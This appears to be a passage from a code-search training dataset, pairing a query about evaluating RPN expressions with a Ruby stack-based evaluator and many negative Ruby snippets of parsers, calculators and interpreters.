"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Evaluates the underlying RPN expression and returns the final result as a number.
|
def evaluate
stack = Stack.new
tokens.each do |token|
if numeric?(token)
stack.push(token.to_i)
elsif operator?(token)
args = []
SYMBOL_TABLE[token].arity.times do
# This adds the return value of stack.pop to the beginning of the
# args array
args.unshift(stack.pop)
end
# The *args syntax might be unfamiliar. It's called the "splat"
# operator and among other things it lets you turn an array into
# a list of arguments.
stack.push(call_operator(token, *args))
else
raise "omg what is this token even?"
end
end
stack.pop
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def eval\n return @value unless @value.nil?\n \n debug \"\\nfor RPN expression: #{expression}\\nTerm\\tAction\\tStack\"\n stack = []\n expression.split.each do |term|\n if Operators.has_key?(term)\n a, b = stack.pop(2)\n raise ArgumentError, \"not enough operands on the stack\" if b.nil?\n a = a.to_f if term == \"/\"\n op = (term == \"^\" ? \"**\" : term)\n stack.push(a.method(op).call(b))\n debug \"#{term}\\t#{Operators[term].english}\\t#{stack}\"\n else\n begin\n number = Integer(term) rescue Float(term)\n rescue ArgumentError\n raise ArgumentError, \"cannot handle term: #{term}\"\n end\n stack.push(number)\n debug \"#{number}\\tPUSH\\t#{stack}\"\n end\n end\n @value = stack.pop\n debug \"Value = #@value\"\n @value\n end",
"def evalRPN(exp)\n begin\n expr = parseString(exp) # Parse expression into array\n\n stack = Stack.new # stack to keep track of operands\n\n # convert string to int or float\n case expr[0]\n when /\\.{1}/\n stack.push(atof(expr[0]))\n else\n stack.push(atoi(expr[0]))\n end\n\n for i in 1..expr.length\n\n # Addition - perform addition on previous two operands\n if expr[i] == '+' \n stack.push(calc stack.pop, stack.pop, &:+)\n\n # Subtraction - perform subtraction on previous two operands\n elsif expr[i] == '-'\n stack.push(calc stack.pop, stack.pop, &:-) \n\n # Division - perform division on previous two operands\n elsif expr[i] == '/'\n stack.push(calc (stack.pop/1.0), stack.pop, &:/)\n\n # Multiplication - perform mult on previous two operands\n elsif expr[i] == '*'\n stack.push(calc stack.pop, stack.pop, &:*)\n\n # Just a number -- add to stack\n else\n next if expr[i] == nil # dont add nil to stack\n\n case expr[i]\n when /\\.{1}/\n stack.push(atof(expr[i]))\n else\n stack.push(atoi(expr[i]))\n end\n end\n end\n\n # No operator provided\n raise NotEnoughException if stack.size != 1\n \n return stack.pop # Return answer\n\n rescue NotEnoughException => e\n abort(e.mes) # inform user of error\n end\n\nend",
"def evaluate(runtime=\"0\")\n\t\t\t@attributes.runtime = BigDecimal(runtime)\n\t\t\tresult = @expression.evaluate()\n\t\t\tinitialize_solver(@expression.expressionCache)\n\n\t\t\t# Catch Not A Number or Infinite cases\n\t\t\tif(result.nan?() or result.infinite?()) then\n\t\t\t\tresult = BigDecimal(\"0\")\n\t\t\tend\n\n\t\t\treturn(result)\n\t\tend",
"def evaluate(expr)\n @api.function_for_object_method(self, :eval).call(@session, expr)\n end",
"def evaluate(bindings = {})\n stack = []\n @expr.split.each do |token|\n case token\n when /\\A\\d+\\z/\n number = Number.new(token)\n stack.push(number)\n when \"+\"\n right = stack.pop(1)\n left = stack.pop(1)\n value.add(left, right)\n end\n end\n stack.pop\n end",
"def evaluate\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n\n\n value = nil\n\n\n a = nil\n\n\n begin\n # at line 7:26: a= expression EOF\n @state.following.push( TOKENS_FOLLOWING_expression_IN_evaluate_28 )\n a = expression\n @state.following.pop\n match( EOF, TOKENS_FOLLOWING_EOF_IN_evaluate_30 )\n\n # --> action\n value = a \n # <-- action\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n\n end\n\n return value\n end",
"def evaluate(expr = '', locals: {})\n eval(expr, local_vars(binding, locals))\n rescue NoMethodError, TypeError => ex\n nil\n end",
"def expression\r\n # -> uncomment the next line to manually enable rule tracing\r\n # trace_in( __method__, 1 )\r\n result = nil\r\n a = nil\r\n b = nil\r\n\r\n begin\r\n # at line 9:4: a= NUMBER '+' b= NUMBER\r\n a = match( NUMBER, TOKENS_FOLLOWING_NUMBER_IN_expression_28 )\r\n match( T__6, TOKENS_FOLLOWING_T__6_IN_expression_30 )\r\n b = match( NUMBER, TOKENS_FOLLOWING_NUMBER_IN_expression_34 )\r\n # --> action\r\n result = a.text.to_i + b.text.to_i \r\n # <-- action\r\n\r\n rescue ANTLR3::Error::RecognitionError => re\r\n report_error(re)\r\n recover(re)\r\n\r\n ensure\r\n # -> uncomment the next line to manually enable rule tracing\r\n # trace_out( __method__, 1 )\r\n\r\n end\r\n \r\n return result\r\n end",
"def evaluate(expression)\n \texpr = tokens(expression)\n \tret = 0\n values = [] #Values stores the results from each operation\n \texpr.each do |element|\n \t\tif(element.is_a?(Fixnum))\n \t\t\tpush(element)\n \t\telse\n \t\t\tcase element\n \t\t\twhen :+\n #If numbers is empty, use the last two numbers in values \n #as the operands.\n #Implemented this in order for the \"1 2 3 * + 4 5 - /\" example\n #to pass. Kept getting the error that @numbers was empty\n if(@numbers.empty?)\n num1 = values.pop\n num2 = values.pop\n ret = num2 / num1\n break \n else \n \t\t\t\t ret = plus\n values << ret\n end\n \t\t\twhen :-\n if(@numbers.empty?)\n num1 = values.pop\n num2 = values.pop\n ret = num2 / num1\n break \n else\n \t\t\t\t ret = minus\n values << ret\n end\n \t\t\twhen :*\n if(@numbers.empty?)\n num1 = values.pop\n num2 = values.pop\n ret = num2 / num1\n break \n else\n ret = times\n values << ret\n end\n \t\t\twhen :/\n if(@numbers.empty?)\n num1 = values.pop\n num2 = values.pop\n ret = num2 / num1\n break\n else\n ret = divide\n values << ret\n end\n \t\t\tend\n \t\tend\n \tend\n\tret\n end",
"def calculate(node = self.tree)\n\n # base case when a leaf is reached (number) \n return ExpressionTree.process_number(node.value) if node.left.nil? && node.right.nil?\n\n left = Number.new(0)\n if node.left\n left = calculate(node.left)\n end\n\n right = Number.new(0)\n if node.left\n right = calculate(node.right)\n end\n\n # using send to pass the actual operator and evaluate ir using overloading of operators\n return left.send(node.value,right) \n end",
"def evaluate(context)\n Parser.new(@expr).parse.evaluate(context)\n end",
"def evaluate(env)\n left = self.left.evaluate(env) \n right =self.right.evaluate(env)\n if left.is_a? Numeric and right.is_a? Numeric then\n return left + right\n else\n raise \" Math Error: cannot sum #{left.class} with #{right.class}\\nFrom line: #{self.line}\"\n end\n end",
"def evaluate() \n # operand stack\n opStack = []\n \n # iterate over the tokens\n @postfix.split(\"\").each do |c|\n # check if an operator\n if %w[+ - * / ^].include? c\n # pop the stack for the two operands where\n # a [operator] b\n b, a = opStack.pop, opStack.pop\n \n # evaluate the string as an arithmetic expression\n # replace all '^' characters with '**' operator\n opStack.push(eval(\"(#{a})#{c}(#{b})\".gsub(/\\^/,'**')))\n else\n # push any operands onto stack\n opStack.push(c)\n end\n end\n \n # Last item in stack should be the final answer!\n opStack.pop\n end",
"def evaluation(input)\n operand_output = operand.call(input)\n evaluation_success(input, operand_output, !operand_output)\n end",
"def evaluate(expr)\n TupleExpression.coerce(expr).evaluate(self)\n end",
"def evaluate\n case @op\n when 'println'\n v = @args[0]\n v = v.evaluate if v.is_a?(AST)\n puts v\n when '+'\n sum = 0\n @args.each do |x|\n x = x.evaluate if x.is_a?(AST)\n sum += x\n end\n return sum\n when '-'\n diff = @args[0]\n diff = diff.evaluate if diff.is_a?(AST)\n args_tail = @args.slice(1, args.length-1)\n args_tail.each do |x|\n x = x.evaluate if x.is_a?(AST)\n diff -= x\n end\n return diff\n when '*'\n prod = 1\n @args.each do |x|\n x = x.evaluate if x.is_a?(AST)\n prod *= x\n end\n return prod\n else\n raise \"Unrecognized op '#{@op}'\"\n end\n end",
"def evaluate(env)\n left = self.left.evaluate(env) \n right =self.right.evaluate(env)\n if (left.is_a? Numeric or left.is_a? String) && (right.is_a? Numeric or right.is_a? String) then\n return left - right\n else\n raise \" Math Error: cannot multiply #{left.class} with #{right.class}\\nFrom line: #{self.line}\"\n end\n end",
"def eval_expression(expression)\n if expression.count(\"a-zA-Z\") > 0\n result = \"Incorrect expression or Number\"\n else\n expression = expression.gsub('/', '*1.0/') if expression.include?(\"/\")\n result = eval(expression).round(2)\n end\n result\n end",
"def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n\n\n value = nil\n\n\n a = nil\n b = nil\n\n\n begin\n # at line 9:28: a= mul ( ADD b= mul | SUB b= mul )*\n @state.following.push( TOKENS_FOLLOWING_mul_IN_expression_44 )\n a = mul\n @state.following.pop\n # at line 9:33: ( ADD b= mul | SUB b= mul )*\n while true # decision 1\n alt_1 = 3\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0 == ADD )\n alt_1 = 1\n elsif ( look_1_0 == SUB )\n alt_1 = 2\n\n end\n case alt_1\n when 1\n # at line 10:5: ADD b= mul\n match( ADD, TOKENS_FOLLOWING_ADD_IN_expression_51 )\n @state.following.push( TOKENS_FOLLOWING_mul_IN_expression_55 )\n b = mul\n @state.following.pop\n\n # --> action\n a += b \n # <-- action\n\n\n when 2\n # at line 11:5: SUB b= mul\n match( SUB, TOKENS_FOLLOWING_SUB_IN_expression_63 )\n @state.following.push( TOKENS_FOLLOWING_mul_IN_expression_67 )\n b = mul\n @state.following.pop\n\n # --> action\n a -= b \n # <-- action\n\n\n else\n break # out of loop for decision 1\n end\n end # loop for decision 1\n\n\n # --> action\n value = a \n # <-- action\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n\n end\n\n return value\n end",
"def eval_expression\n if @input.to_i.zero?\n @input = eval(@input).to_s\n else\n @input = eval(@input).to_f.to_s\n end\n @output.text = @input\n end",
"def eval_expression\n eval(expression, binding)\n end",
"def to_expr\n return self.return_value\n end",
"def expr\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n value = nil\n e = nil\n\n begin\n # at line 35:5: e= expr1 ( '+' e= expr1 | '-' e= expr1 )*\n @state.following.push( TOKENS_FOLLOWING_expr1_IN_expr_262 )\n e = expr1\n @state.following.pop\n # --> action\n value = e \n # <-- action\n # at line 36:5: ( '+' e= expr1 | '-' e= expr1 )*\n while true # decision 3\n alt_3 = 3\n look_3_0 = @input.peek( 1 )\n\n if ( look_3_0 == T__14 )\n alt_3 = 1\n elsif ( look_3_0 == T__15 )\n alt_3 = 2\n\n end\n case alt_3\n when 1\n # at line 36:7: '+' e= expr1\n match( T__14, TOKENS_FOLLOWING_T__14_IN_expr_272 )\n @state.following.push( TOKENS_FOLLOWING_expr1_IN_expr_276 )\n e = expr1\n @state.following.pop\n # --> action\n value += e \n # <-- action\n\n when 2\n # at line 37:7: '-' e= expr1\n match( T__15, TOKENS_FOLLOWING_T__15_IN_expr_286 )\n @state.following.push( TOKENS_FOLLOWING_expr1_IN_expr_290 )\n e = expr1\n @state.following.pop\n # --> action\n value -= e \n # <-- action\n\n else\n break # out of loop for decision 3\n end\n end # loop for decision 3\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end\n \n return value\n end",
"def calculate number\n @left_operand = number\n\n return result()\n end",
"def evaluate_equation(string)\n actual_result = eval(string.chars.join(''))\n actual_result\n end",
"def eval\n @token = @lexer.next\n expression(0)\n end",
"def eval(expr, *rest) end",
"def expr(str)\n return unless str\n eval(str, Math.bind) || 0\n rescue SyntaxError, NameError\n cfg_err(\"#{str} is not number\")\n end",
"def evaluate\n\n end",
"def test_calculate_postfix_numbers\n RPN rpn = RPN.new(2)\n expression = '1 2 +'\n assert_equal rpn.calculate_postfix_expression(expression), 3\n end",
"def evaluate(exp, env)\n # exp: A current node of AST\n # env: An environment (explained later)\n\n case exp[0]\n\n#\n## Problem 1: Arithmetics\n#\n\n when \"lit\"\n exp[1] # return the immediate value as is\n when \"*\"\n evaluate(exp[1], env) * evaluate(exp[2], env)\n when \"/\"\n evaluate(exp[1], env) / evaluate(exp[2], env)\n when \"%\"\n evaluate(exp[1], env) % evaluate(exp[2], env)\n when \"+\"\n evaluate(exp[1], env) + evaluate(exp[2], env)\n when \"-\"\n evaluate(exp[1], env) - evaluate(exp[2], env)\n# ... Implement other operators that you need\n when \"<\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs < rhs\n when \">\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs > rhs\n when \"<=\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs <= rhs\n when \"==\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs == rhs\n when \">=\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs >= rhs\n when \"==\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs == rhs\n when \"!=\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs != rhs\n\n\n#\n## Problem 2: Statements and variables\n#\n\n when \"stmts\"\n # Statements: sequential evaluation of one or more expressions.\n #\n # Advice 1: Insert `pp(exp)` and observe the AST first.\n # Advice 2: Apply `evaluate` to each child of this node.\n statements = exp[1..-1]\n statements.each do |v|\n evaluate(v, env)\n end\n\n# The second argument of this method, `env`, is an \"environement\" that\n# keeps track of the values stored to variables.\n# It is a Hash object whose key is a variable name and whose value is a\n# value stored to the corresponded variable.\n\n when \"var_ref\"\n var_name = exp.last\n env[var_name]\n\n when \"var_assign\"\n name, inner_exp = exp[1..-1]\n env[name] = evaluate(inner_exp, env)\n\n\n#\n## Problem 3: Branchs and loops\n#\n\n when \"if\"\n condition = evaluate(exp[1], env)\n if condition\n evaluate(exp[2], env)\n else\n evaluate(exp[3], env)\n end\n\n\n when \"while\"\n condition = evaluate(exp[1], env)\n while condition\n evaluate(exp[2], env)\n condition = evaluate(exp[1], env)\n end\n\n# Loop.\n\n\n#\n## Problem 4: Function calls\n#\n\n when \"func_call\"\n # Lookup the function definition by the given function name.\n func = $function_definitions[exp[1]]\n\n if func.nil?\n # We couldn't find a user-defined function definition;\n # it should be a builtin function.\n # Dispatch upon the given function name, and do paticular tasks.\n case exp[1]\n when \"p\"\n # MinRuby's `p` method is implemented by Ruby's `p` method.\n p(evaluate(exp[2], env))\n when \"Integer\"\n evaluate(exp[2], env).to_i\n when \"fizzbuzz\"\n n = evaluate(exp[2], env).to_i\n if n % 15 == 0\n 'FizzBuzz'\n elsif n % 3 == 0\n 'Fizz'\n elsif n % 5 == 0\n 'Buzz'\n else\n n.to_s\n end\n else\n raise(\"unknown builtin function\")\n end\n else\n arg_names = func.arg_names\n execution = func.execution\n arguments = exp[2..-1].map { |ast| evaluate(ast, env) }\n env = arg_names.zip(arguments).to_h\n evaluate(execution, env)\n\n #\n ## Problem 5: Function definition\n #\n\n # (You may want to implement \"func_def\" first.)\n #\n # Here, we could find a user-defined function definition.\n # The variable `func` should be a value that was stored at \"func_def\":\n # parameter list and AST of function body.\n #\n # Function calls evaluates the AST of function body within a new scope.\n # You know, you cannot access a varible out of function.\n # Therefore, you need to create a new environment, and evaluate the\n # function body under the environment.\n #\n # Note, you can access formal parameters (*1) in function body.\n # So, the new environment must be initialized with each parameter.\n #\n # (*1) formal parameter: a variable as found in the function definition.\n # For example, `a`, `b`, and `c` are the formal parameters of\n # `def foo(a, b, c)`.\n end\n\n when \"func_def\"\n # Function definition.\n #\n # Add a new function definition to function definition list.\n # The AST of \"func_def\" contains function name, parameter list, and the\n # child AST of function body.\n # All you need is store them into $function_definitions.\n #\n # Advice: $function_definitions[???] = ???\n func_name = exp[1]\n arg_names = exp[2...-1].flatten\n execution_ast = exp.last\n $function_definitions[func_name] = Function.new(arg_names, execution_ast)\n\n\n#\n## Problem 6: Arrays and Hashes\n#\n\n# You don't need advices anymore, do you?\n when \"ary_new\"\n exp[1..-1].map { |ast| evaluate(ast, env) }\n\n when \"ary_ref\"\n array, index = exp[1..2].map { |ast| evaluate(ast, env) }\n array[index]\n\n when \"ary_assign\"\n array, index, value = exp[1..3].map { |ast| evaluate(ast, env) }\n array[index] = value\n\n when \"hash_new\"\n exp[1..-1].map { |ast| evaluate(ast, env) }.each_slice(2).to_h\n\n else\n p(\"error\")\n pp(exp)\n raise(\"unknown node\")\n end\nend",
"def interpret\r\n return @leftExpression.interpret - @rightExpression.interpret\r\n end",
"def calculate_expressions(expr)\n res = 0\n if expr.count(\"a-zA-Z\") > 0\n res = \"Incorrect expression or Number\"\n else\n while(has_operators?(expr))\n @logger.info \"Expression=#{expr}\"\n part_expr = \"\"\n operator = next_operator(expr)\n @logger.info \"Operator=#{operator}\"\n idx = expr.index(operator)\n val1 = find_prv_operand(expr, idx)\n val2 = find_next_operand(expr, idx)\n res = perform_calc(operator, val1, val2)\n part_expr = \"#{val1}#{operator}#{val2}\"\n @logger.info \"#{part_expr}=#{res}\"\n expr.gsub!(part_expr, res.to_s)\n end\n res = res.round(2)\n end\n res\n end",
"def evaluatePostfix(exprStr)\n \n # split the string into an array by spaces\n exprStr = exprStr.split(\" \");\n\n # stack the holds \n stack = Array.new\n\n # loop through each element in the array\n exprStr.each do |ele|\n \n # check if the current value is an integer\n if operand? ele\n\n # convert the element to an integer and push onto stack\n stack.push ele.to_i\n\n # check if current element is an operator\n elsif operator? ele\n\n # update the ^ operator\n if ele.eql? '^'\n ele = \"**\"\n end \n \n # pop the last two elements from the array\n y, x = stack.pop, stack.pop\n \n # calculate the result of the operation\n result = applyOperator(x, y, ele)\n\n # push the result onto the stack\n stack.push(result)\n end\n end\n return stack.pop\n end",
"def evaluate(expression)\n eval(expression).inspect\nend",
"def evaluate_pn(list)\n\n while item = list.pop\n\n case item.name\n when \"numeric\" then @stack.push(item.to_f)\n when \"variable\" then @stack.push(item.value)\n when \"constant\" then @stack.push(constant(item.value))\n when \"value\" then do_value(item.value)\n when \"operator\" then operation(item.value)\n when \"funcname\" then EvalFunction.eval(item.value, @stack)\n end\n end\n\n result = @stack.pop\n if result.respond_to?(:hidden?)\n result\n else\n ElectrValue.number(ensure_number(result))\n end\n\n rescue UnboundVariableError => e\n @stack.clear\n ElectrValue.error(\"Error: unbound variable #{e.message}\")\n\n rescue NilEvaluationError\n @stack.clear\n ElectrValue.error(\"Error: nil evaluation\")\n\n end",
"def evaluate\n result = nil\n if self.is_valid?\n cleansed_str = @value.gsub(@regex_strip, '')\n cleansed_int = cleansed_str.to_i\n if self.has_cents? == false\n cleansed_int = cleansed_int * 100\n end\n result = cleansed_int\n end\n result\n end",
"def solve_rpn(s)\n\t\t\tstack = []\n\t\t\ts.split(\"\\s\").each do |e|\n\t\t\t\tcase e\n\t\t\t\t\twhen \"+\"\n\t\t\t\t\t\tstack.push(stack.pop + stack.pop)\n\t\t\t\t\twhen \"-\"\n\t\t\t\t\t\tstack.push(-stack.pop + stack.pop)\n\t\t\t\t\twhen \"*\"\n\t\t\t\t\t\tstack.push(stack.pop * stack.pop)\n\t\t\t\t\twhen \"/\"\n\t\t\t\t\t\ta, b = stack.pop, stack.pop\n\t\t\t\t\t\tstack.push(b / a)\n when \"<?\"\n a, b = stack.pop, stack.pop\n stack.push(b < a ? 1 : 0)\n when \">?\"\n a, b = stack.pop, stack.pop\n stack.push(b > a ? 1 : 0)\n when \"<=?\"\n a, b = stack.pop, stack.pop\n stack.push(b <= a ? 1 : 0)\n when \">=?\"\n a, b = stack.pop, stack.pop\n stack.push(b >= a ? 1 : 0)\n\t\t\t\t\telse\n\t\t\t\t\t\traise TypeError, \"Bad rpn\" unless e.is_numeric?\n\t\t\t\t\t\tstack.push(e.to_f)\n\t\t\t\tend\n\t\t\tend\n\t\t\tstack[0]\n\t\tend",
"def evaluate(env)\n left = self.left.evaluate(env) \n right =self.right.evaluate(env)\n if left.is_a? Numeric and right.is_a? Numeric then\n return left - right\n else\n raise \" Math Error: cannot divide #{left.class} for #{right.class}\\nFrom line: #{self.line}\"\n end\n end",
"def evaluate(x)\n eval_sum = Rallot::Integer(0, @sub_prime)\n\n @coefficients.each_with_index do |coeff, index|\n eval_sum = eval_sum + coeff * (x ** index)\n end\n\n return eval_sum\n end",
"def evaluation_result\n return @evaluation_result\n end",
"def eval_expression(exp, globals, indices)\n if !indices.nil?\n end\n if exp.nil?\n return 0.0/0.0 #NaN\n end\n if exp.instance_of?(Expression)\n args = exp.args\n op = exp.op\n if op.nil?\n return eval_expression(args[0], globals, indices)\n elsif op == \"+\"\n return eval_expression(args[0], globals, indices) + eval_expression(args[1], globals, indices)\n elsif op == \"-\"\n return eval_expression(args[0], globals, indices) - eval_expression(args[1], globals, indices)\n elsif op == \"*\"\n return eval_expression(args[0], globals, indices) * eval_expression(args[1], globals, indices)\n elsif op == \"/\"\n return eval_expression(args[0], globals, indices) / eval_expression(args[1], globals, indices)\n elsif op == \"%\"\n return eval_expression(args[0], globals, indices) % eval_expression(args[1], globals, indices)\n elsif op == \"^\"\n return eval_expression(args[0], globals, indices) ** eval_expression(args[1], globals, indices)\n elsif op == \"==\"\n return bool_to_i(eval_expression(args[0], globals, indices) == eval_expression(args[1], globals, indices))\n elsif op == \"<\"\n return bool_to_i(eval_expression(args[0], globals, indices) < eval_expression(args[1], globals, indices))\n elsif op == \">\"\n return bool_to_i(eval_expression(args[0], globals, indices) > eval_expression(args[1], globals, indices))\n elsif op == \"<=\"\n return bool_to_i(eval_expression(args[0], globals, indices) <= eval_expression(args[1], globals, indices))\n elsif op == \">=\"\n return bool_to_i(eval_expression(args[0], globals, indices) >= eval_expression(args[1], globals, indices))\n elsif op == \"!=\"\n return bool_to_i(eval_expression(args[0], globals, indices) != eval_expression(args[1], globals, indices))\n elsif op == \"&&\"\n return bool_to_i(eval_expression(args[0], globals, indices) != 0 && eval_expression(args[1], globals, indices) != 0)\n elsif op == \"||\"\n return bool_to_i(eval_expression(args[0], globals, indices) != 0 || eval_expression(args[1], globals, indices) != 0)\n elsif op == \"[]\"\n index_values = []\n args[1...args.length].each do |index_value|\n index_values << eval_expression(index_value, globals, indices)\n end\n builtin_return = eval_builtin_function(args[0], globals, index_values)\n return builtin_return unless builtin_return.nil?\n return eval_variable(args[0], globals, index_values)\n elsif op == \"CASE\"\n for case_index in 0...args.length/2\n if args[case_index*2] == \"else\" || eval_expression(args[case_index*2], globals, indices) != 0\n return eval_expression(args[case_index*2+1], globals, indices)\n end\n end\n # if we got here, none of the cases were true and there was no else; return arbitrary default\n return 0\n elsif op == \"ARRAY\"\n elem_count = args.length - 1\n index = eval_expression(args[0], globals, indices)\n if index.to_i != index\n raise ArgumentError, \"Array index must be an integer. Was #{index}.\"\n end\n if index < 1 || index > elem_count\n raise ArgumentError, \"Array index #{index} is out of bounds. Must be between 1 and #{elem_count}, inclusive.\"\n end\n return eval_expression(args[index], globals, indices)\n end\n else\n #exp is a string\n if exp[0] == ?@\n #exp is a symbol\n return exp[1..-1].intern\n elsif exp == \"NaN\"\n #exp is nan\n return 0.0/0.0\n elsif exp.downcase == \"true\"\n #exp is boolean true\n return 1\n elsif exp.downcase == \"false\"\n #exp is boolean false\n return 0\n elsif exp.match(/^[\\d]+(\\.[\\d]*){0,1}$|^\\.[\\d]+$/)\n #exp is a number\n return exp.to_f\n elsif exp.match(/^\\d\\d\\d\\d_\\d\\d_\\d\\d_\\d\\d_\\d\\d_\\d\\d$/)\n #exp is a date and time\n return DateTime.strptime(exp+\" +0\", \"%Y_%m_%d_%H_%M_%S %z\").to_time.to_f\n elsif exp.match(/^\\d\\d\\d\\d_\\d\\d_\\d\\d$/)\n #exp is a date\n return DateTime.strptime(exp+\"_00_00_00 +0\", \"%Y_%m_%d_%H_%M_%S %z\").to_time.to_f\n elsif exp.match(/^\\d\\d\\_\\d\\d_\\d\\d$/)\n #exp is a time\n return DateTime.strptime(\"1970_01_01_\"+exp+\" +0\", \"%Y_%m_%d_%H_%M_%S %z\").to_time.to_f\n else\n #exp is a variable\n if !indices.nil? && !indices[exp].nil?\n #exp is an array index variable\n return indices[exp]\n end\n return eval_variable(exp, globals, nil)\n end\n end\n end",
"def calc(expr)\n expr.split.each_with_object([]) { |e, a|\n if e.match(/\\d+/)\n a << e.to_f\n else\n y, x = a.pop, a.pop\n a << x.send(e, y)\n end\n }.last || 0\nend",
"def initialize\n @expr = gen_expr\n @ans = eval @expr\n end",
"def evaluate_postfix(postfix_expression)\n \n starting_value = postfix_expression[0].to_i\n first_operation = postfix_expression[2]\n first_value = postfix_expression[1].to_i\n second_operation = postfix_expression[4]\n second_value = postfix_expression[3].to_i\n \n temporary_response = 0\n \n if postfix_expression.length == 1 \n return postfix_expression\n elsif postfix_expression.length == 3\n return evaluator(first_operation, starting_value, first_value)\n elsif postfix_expression.length == 5\n first_half = evaluator(first_operation, starting_value, first_value)\n return evaluator(second_operation, first_half, second_value)\n end\nend",
"def get_equation(n)\n eval \"@yp#{n}\"\n end",
"def calc(expr, verbose=false)\n # hash of str: func for operations\n ops_hash = {'+': method(:add), '-': method(:subt),\n '*': method(:mult), '/': method(:div),\n '**': method(:pow), '^': method(:pow)}\n\n # parse expr\n expr.strip!\n expr_arr = expr.split\n\n # check expression validity\n unless check_expr(expr_arr, false)\n return nil\n end\n\n j = 0 # used to track index while handling parens\n\n # find matching parens, then replace parens and contents with result of contents\n while j < (expr_arr.length - 1) do\n # check parens and get nest info. needs to be done inside this loop\n # if not, info fails to match as expression changes\n nest = check_parens(expr_arr)\n unless nest\n return nil\n end\n\n match_j = nil # Initialize match_j so later code can find it\n # find open paren\n if PAIRS.key?(expr_arr[j])\n # find matching close paren\n nest.each do |info_arr|\n if info_arr[2] == j\n match_j = info_arr[3]\n end\n end\n\n # join contents and send to calc\n temp_expr = expr_arr[j+1...match_j].join(' ')\n temp_result = calc(temp_expr, verbose)\n\n # return if internal expression was invalid\n unless temp_result\n return nil\n end\n\n # replace parens and contents with temp result\n expr_arr[j..match_j] = temp_result\n j = 0 # indices got moved and removed, so start from beginning\n else\n j += 1\n end\n end\n\n # If, after dealing with parens, there is only one element, return it\n if expr_arr.length == 1\n return expr_arr[0].to_f\n end\n\n result = 0 # initialize result variable so the return statement can find it\n\n # search for operations in order\n OPS.each do |op_set|\n i = 0\n\n # search expression for current operations\n # if found: calculate, replace, and search from begining of expression\n # else: move to next element in expression\n while i < (expr_arr.length - 1) do\n if op_set.include?(expr_arr[i])\n # find and assign operation and values\n op = expr_arr[i]\n x = expr_arr[i-1]\n y = expr_arr[i+1]\n\n # call appropriate op function\n result = ops_hash[op.to_sym].(x.to_f, y.to_f)\n\n # replace the 3 used elements with the result\n expr_arr[i-1..i+1] = result\n i = 0 # indices got moved and removed, so start from beginning\n\n # print verbose output\n if verbose and not expr_arr.length == 1\n puts expr_arr.join(\" \")\n end\n else\n i += 1\n end\n end\n end\n return result\nend",
"def evaluate(env)\n left = self.left.evaluate(env) \n right =self.right.evaluate(env)\n if left.is_a? Numeric and right.is_a? Numeric then\n return left - right\n else\n raise \" Math Error: cannot subtract #{right.class} to #{left.class}\\nFrom line: #{self.line}\"\n end\n end",
